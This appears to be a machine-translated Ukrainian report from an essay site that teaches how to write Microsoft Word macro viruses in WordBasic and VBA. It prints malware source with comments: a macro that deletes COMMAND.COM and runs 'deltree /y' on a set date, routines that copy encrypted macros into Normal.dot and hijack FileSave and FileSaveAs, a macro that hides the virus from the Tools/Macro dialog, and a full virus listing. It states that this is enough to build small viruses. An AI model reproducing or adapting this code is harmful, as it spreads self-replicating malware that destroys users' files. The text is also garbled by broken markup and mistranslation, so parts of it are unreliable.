Макровіруси

[ виправити ] текст може містити помилки, будь ласка перевіряйте перш ніж використовувати.

скачати

У цьому розділі розказано
про макровіруси. Докладно опи-
сану процедура і методи за-
ражения файлів. Представлений
вихідний текст макровіруси
з докладними коментаря-
ми. Наведено основні
відомості про мову VBA, його про-
ну процедуру, функціях, стандарт-
них конструкціях.

Як відомо, останнім часом великого поширення набули
макро-віруси. За відомостями з різних джерел, на ці віруси
припадає від 70 до 80 відсотків заражень. Викладений нижче мате-
ріал допоможе розібратися у вірусах цього типу.

Інструментарій

Для вивчення макро-вірусів знадобиться деякий програмне забезпе-
печення. У якості "полігону" необхідний MS-WORD версії 6.0 або
вище. Для вивчення зашифрованих макросів може стати в нагоді диз-
асемблер макросів (автор AURODREPH з VBB). Для більш повного
розуміння всього викладеного нижче бажано мати базові знання
про WORD BASIC.

Щоб убезпечити робочі файли від плодів експериментів, настою-
тельно рекомендується створити резервну копію шаблону
NORMAL.DOT в каталозі WINWORD6TEMPLATE, так як саме
цей документ зазвичай заражається макро-вірусом. Коли все готово, са-
мій час перейти до основ макро-вірусів.

Загальні відомості

Макрос - це програма, написана на деякій мові, яка вико-
користується зазвичай для автоматизації певних процесів всередині
додатків. У даному випадку розмова піде про мови Visual Basic for
Applications (VBA) і WordBasic (WB), які Microsoft використовує в
своїх програмах (зокрема, Excel, Project і PowerPoint використовують
VBA, a WinWord - WB).

Далі будемо вважати стандартною мовою VBA, так як він представля-
ет собою спробу уніфікувати макромова, зробити його загальним для
всіх програм Microsoft. Незважаючи на те, що WB має деякі від-
личия, в тому числі і в синтаксисі, структура коду цих мов схожа.
При необхідності буде особливо відзначено, що мова йде про WB.

Макрос VBA - це викликаються процедури. Вони бувають двох типів:

процедури-підпрограми і процедури-функції.

Процедури-підпрограми можуть виконуватися безпосередньо або ви-
ни опиняються з інших макросів. Синтаксис їх наступний:

Sub

-> Код макросу Інструкції r / div Pусловіе "If-then": / P PSub lnfect_Check / P PIf lnfect_Num = 0 Then MsgBox "Файл не заражений" / P PEnd Sub / P Pконструкція "With-end with" (використовується для роботи з несколькіміbr властивостями конкретного об'єкта): / P PSub ChangePropertiesbr With Selectionbr. Font.Bold = True / P P.Font.Colorlndex = 3 'червоний цветbr End Withbr End Sub / P Pселектор "Select case-end case": / P PSub CheckJnfection / P PSelect Case lnfect_Num / P PCase 0 / P PMsgBox "Файл не заражений" / P PCase is> Про

MsgBox "Файл заражений"

Case is <Про

lnfect_Num = 0

End Case

End Sub

Корисним інструментом для роботи з VBA є вікно налагодження.
У ньому можна трасувати код, вносити до нього зміни і робити мно-
гое інше. У процесі налагодження для зупинки на деякий час вико-
полнению коду використовуються прапори. Щоб можна було аналізувати
вміст конкретних змінних і / або інструкцій, після кожної
команди виводяться повідомлення (в відладчик VBA для переривання ис-
полнению коду можна ставити також контрольні точки).

Потрібно звернути увагу на різноманітні аргументи функцій.
Як вже говорилося, структура їх наступна:

Function (Аргументи)

[.]
End Function

Аргументами можуть бути константи, змінні або вирази.
Процедури можуть бути і без аргументів.

Function Get_Name ()
Name = Application.UserName
End Function

Деякі функції завжди вимагають фіксоване число аргументів
(До 60). Інші функції мають кілька обов'язкових аргументів,
а інші можуть бути відсутні.

Після того, як основи VBA стали зрозумілі, йдемо далі. Отже, виру-
си і "троянці" на VBA.

Мова VBA універсальний, і тому є дві причини. По-перше, ця мова
простий у вивченні і використанні, оскільки вона є мовою ви-
льно програмування, він орієнтований на події, а не на
об'єкти. З його допомогою без особливих витрат часу дуже легко створювати
вать складні модулі. По-друге, можна використовувати велику кількістю-
ство визначених функцій, що полегшують роботу. По-третє, име-
ються функції (або макроси) автоматичного виконання, що
дозволяє спростити написання процедур автокопірованія, занесення
в пам'ять і інших використовуваних стандартними DOS-вірусами.

Крім цього, перевагою VBA є властивість переносимості.
VBA працює під Win З.х, Win95, WinNT, MacOS і так далі, тобто
в будь-якій операційній системі, де можна запустити програми його
підтримують.

VBA є мова, адаптований до мови програми,
з-під якого він запущений. Це означає, що якщо на комп'ютері ус-
тановлена, наприклад, іспанська версія WinWord, то імена предопреде-
лених функцій будуть також іспанською. Так що два наступних
макросу - зовсім не одне і те ж.

Перший макрос (іспанська):

Sub Demo_Macro
Con Seleccion.Fuente
. Nombre = "Times"
Fin Con
End Sub

Другий макрос (англійська):

Sub Demo_Macro
With Selection.Font
. Name = "Times"

4 *

End With
End Sub

Останній макрос не буде працювати в іспанській версії WinWord
(А перший - в англійській) - він викличе помилку виконання макросу.
Ще відзначимо, що VBA - мова інтерпретується (некомпіліруемого)
типу, так що кожна помилка виконання проявляється "в польоті".

Існують функції, єдині для всіх версій VBA, незалежно
від мови. Наприклад, автоматичний макрос AutoExec.

Усього таких спеціальних макросів п'ять, виконуються вони автомати-
но:

AutoExec: це макрос, що активується при завантаженні текстового процес-
ра, але тільки в тому випадку, якщо він збережений в шаблоні Normal.dot або
в каталозі стандартних додатків;

AutoNew: активізується при створенні нового документа;

AutoOpen: активізується при відкритті існуючого документа;

AutoClose: активізується при закритті документа;

AutoExit: активізується при виході з текстового процесора.

Як доказ сили і універсальності цих макросів рас-
дивимося наступний фрагмент коду (про мову вже домовилися).

'Макрос найбільш ефективний, якщо його зберегти як AutoExit
Sub Main

'Перевіримо реєстраційне ім'я
If Application. Username "MaD_MoTHeR" Then

'Знімемо атрибути COMMAND.COM
SetAttr "C: COMMAND.COM", 0

'Відкриймо для перевірки - раптом з'являться помилки
Open "CACOMMAND.COM" for Output as # 1

'Якщо помилки є, то закриємо.
Close # 1

'І видалимо

Kill "CACOMMAND.COM"

End If

'Перевіримо місяць і дату. Якщо 29 лютого, то виконаємо
'Команду "deltree / у> nul
If Month (Now ()) = 2 Then
If Day (Now ()) = 29 Then
Shell "deltree / y *.*> nu"
End If
End If
End Sub

Що робить цей макрос? При виході з WinWord він перевіряє два па-
раметра: ім'я, на яке зареєстрований WinWord (якщо це не
MaD_MoTHeR, то буде вилучений файл COMMAND.COM), і поточну
системну дату (якщо це 29 лютого, виконується команда "deltree / у
*.*> Nub).

Дуже важливо знати, як адаптувати автоматичний макрос (нижче
наведено найпростіший варіант), щоб активізувати його в відкривати-
ся за замовчуванням шаблон WinWord.

Це робиться так:

Визначається змінна, в яку записується повне ім'я макросу:

name $ = WindowName $()+": AutoNew "

'Цей макрос буде виконуватися кожного разу

'При створенні нового документа

Тепер потрібно записати макрос у шаблон NORMAL.DOT простий ко-
командою:

MacroCopy name $, "Global: AutoNew"

Це стандартний спосіб роботи макро-вірусів, але є ще багато дру-
гих, більш цікавих способів зараження. Всього то й потрібно, що не-
багато уяви і кілька рядків коду. Одним із трюків, кото-
рий ускладнює подібні віруси і ускладнює їх аналіз, є
кодування макро-вірусів.

MacroCopy "MyTemplate: MyMacro", "GlobahAutoClose", 1

Якщо виконується команда MacroCopy з параметром, рівним 1 (або
іншому числу більше 0), то в результаті копіювання буде отриманий
тільки виконуваний макрос, який не можна редагувати.

Більшість макро-вірусів мають типову структуру. Вони починаючи-
ются з автовиполняемого макросу, заражающего глобальний шаблон
Normal.dot. Також до їх складу входять деякі макроси, які зара-
жають файли при певних діях (FileSaveAs, FileSave,
ToolsMacros). Документи заражаються при вчиненні над ними опера-
ций вірусними макросами, тобто вони будуть інфікуватися при
відкритті.

Код для процедури автовиполненія може виглядати приблизно так:

Sub MAIN

On Error Goto Abort

iMacroCount = CountMacros (0, 0) 'Перевірка на зараженість

For i = 1 To iMacroCount

If MacroName $ (i, 0, 0) = "PayLoad" Then

binstalled =- 1 'за допомогою макросу Payload

End If

If MacroName $ (i, 0, 0) = "FileSaveAs" Then

bTooMuchTrouble =- 1 'але якщо є макрос FileSaveAs,
'То заразити важко

End If

Next i

If Not binstalled And Not bTooMuchTrouble Then

'Додамо макроси FileSaveAs та копії AutoExec і FileSave
'Payload використовується тільки для перевірки на зараженість
', 1 - кодує макроси, роблячи їх нечитабельним у Word

iWW6llnstance = Val (GetDocumentVar $ ("WW6lnfector"))

sMe $ = FileName $ ()

Macro $ = sMe $ + ": PayLoad"

MacroCopy Macro $, "Global: PayLoad", 1

Macro $ = sMe $ + ": FileOpen" 'Відбуватиметься зараження

MacroCopy Macro $, "GlobahFileOpen", 1

Macro $ = sMe $ + ": FileSaveAs"

MacroCopy Macro $, "GlobahFileSaveAs", 1

Macro $ = sMe $ + ": AutoExec"

MacroCopy Macro $, "GlobahAutoExec", 1

SetProfileString "WW6I", Str $ (iWW6llnstance +1)

End If

Abort:

End Sub

Процедура SaveAs

Вона копіює макро-вірус в активний документ при його збереженні
через команду File / SaveAs. Ця процедура використовує багато в чому схо-
жую з процедурою AutoExec технологію. Код для неї:

Sub MAIN

Dim dig As FileSaveAs

GetCurValues ​​dig

Dialog dig

If (Dlg.Format = 0) Or (dlg.Format = 1) Then

MacroCopy "FileSaveAs", WindowName $()+": FileSaveAs "

'Заражає при збереженні документа
MacroCopy "FileSave", WindowName $()+": FileSave "
MacroCopy "PayLoad", WindowName $()+": PayLoad "
MacroCopy "FileOpen", WindowName $()+": FileOpen "

'При відкритті документа
Dlg.Format = 1
End If

FileDaveAs dig
End Sub

Цієї інформації цілком достатньо для створення невеликих макро-
вірусів.

Спеціальні процедури

Існує кілька способів приховати вірус або зробити його більш
ефективним. Наприклад, можна створити спеціальний макрос, ховаю-
щий вірус, якщо Tools / Macro відкривається для перегляду. Код такого
макросу може виглядати приблизно так:

Sub MAIN
On Error Goto ErrorRoutine

OldName $ = NomFichier $ ()

If macros.bDebug Then

MsgBox "start ToolsMacro"

Dim dig As OutilsMacro

If macros.bDebug Then MsgBox "1"

GetCurValues ​​dig

If macros.bDebug Then MsgBox "2"

On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:

On Error Goto ErrorRoutine 'При помилку на вихід
End If

REM enable automacros
DisableAutoMacros 0

macros. SavToGlobal (01dName $)

macros.objectiv

Goto Done 'Перехід на мітку Done

ErrorRoutine:

On Error Goto Done "Перехід на мітку Done
If macros.bDebug Then

MsgBox "error" + Str $ (Err) + "occurred" 'Повідомлення про помилку
End If

Done:

End Sub

Макро-віруси також можуть включати зовнішні процедури. Наприклад,
вірус Nuclear намагається відкомпілювати і запустити зовнішній
файл-рознощик вірусу, деякі троянські макроси намагаються фор-
матувати вінчестер при відкритті документа.

Приклад макро-вірусу

Вище були викладені основи для вивчення макро-вірусів. Прийшов
час розглянути вихідні тексти.

Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN

'Включаємо обробку автоматичних макросів
DisableAutoMacros 0

'Перевіримо, чи встановлено макрос. Якщо макрос AutoExec
'Присутній, вважаємо, що файл заражений
If (lnstalled = 0) And (Forgetlt = 0) Then

'Заразив. Копіюємо макрос

MacroCopy WindowName $()+": AutoExec "," GlobahAutoExec ", 1

MacroCopy WindowName $()+": AutoNew "," Global: AutoNew ", 1

MacroCopy WmdowName $()+": AutoOpen "," Global: AutoOpen ", 1

MacroCopy WindowName $()+": DateiSpeichem "," Global: DateiSpeichern ", 1

MacroCopy WindowName $()+": DateiSpeichernUnter ",

"Global.-DateiSpeichernllnter", 1

MacroCopy WindowName $()+": DateiBeenden ",

"GlobahDateiBeenden", 1

MacroCopy WindowName $ () + ": ExtrasOptionen",

"Global: ExtrasOptionen", 1

MacroCopy WindowName $()+": DateiDokvorlagen ",

"GlobaLDateiDokvorlagen", 1

MacroCopy WindowName $()+": lt "," Global: lt ", 1

MacroCopy WindowName $()+": DateiDrucken "," GlobahDateiDrucken ", 1

End If

End Sub

'Функція перевіряє, інстальований Чи макрос AutoExec
Function Installed

'Встановимо змінну Installed в 0 (ініціалізація змінної).
"При позитивному результаті перевірки встановимо її в 1
lnstalled = 0

'Перевіримо, чи є макроси
If CountMacros (O)> 0 Then

"Перевіримо імена макросів. Якщо є AutoExec,

"Встановимо змінну Installed в 1

For i = 1 To CountMacros (O)

If MacroName $ (i, 0) = "AutoExec" Then

lnstalled = 1

End If

Next i

End If

End Function

Function Forgetit

Forgetlt = 0

Section $ = "Compatibility"

ProfilName $ = "Nomvir"

BlaBla $ = GetProfileString $ (Section $, ProfilName $)

If BlaBla $ = "Ox0690690" Then

Forgetlt = 1

End If

End Function


Додати в блог або на сайт

Цей текст може містити помилки.

Програмування, комп'ютери, інформатика і кібернетика | Доповідь
24.1кб. | скачати

© Усі права захищені
написати до нас